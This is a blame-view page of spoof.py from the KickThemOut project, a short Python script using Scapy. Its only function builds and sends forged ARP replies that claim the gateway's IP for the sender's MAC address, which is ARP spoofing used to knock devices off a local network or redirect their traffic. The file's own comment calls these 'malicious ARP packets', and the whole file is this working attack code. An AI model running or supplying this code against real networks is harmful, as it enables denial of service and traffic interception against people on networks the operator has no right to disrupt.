kickthemout/spoof.py

47 lines
938 B
Python
Raw Normal View History

2018-02-05 20:39:08 +01:00
#!/usr/bin/env python3
2016-12-31 01:41:34 +01:00
# -.- coding: utf-8 -.-
# spoof.py
"""
2018-02-05 20:39:08 +01:00
Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
2016-12-31 01:41:34 +01:00
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
import sys, logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
2016-12-27 23:45:19 +01:00
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
2018-02-05 20:39:08 +01:00
sendp,
conf,
RadioTap,
Dot11,
Dot11Deauth
2016-12-27 23:45:19 +01:00
)
2018-02-05 20:39:08 +01:00
# send malicious ARP packets
2017-01-01 15:25:46 +01:00
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
2016-12-31 01:41:34 +01:00
ether = Ether()
ether.src = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = ARP()
arp.psrc = gateway_ip
arp.hwsrc = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
ether = ether
ether.src = my_mac
ether.dst = target_mac
2016-12-27 23:45:19 +01:00
arp.op = 2
2017-01-01 15:25:46 +01:00
2016-12-31 01:41:34 +01:00
def broadcastPacket():
2017-01-01 15:25:46 +01:00
packet = ether / arp
sendp(x=packet, verbose=False)
broadcastPacket()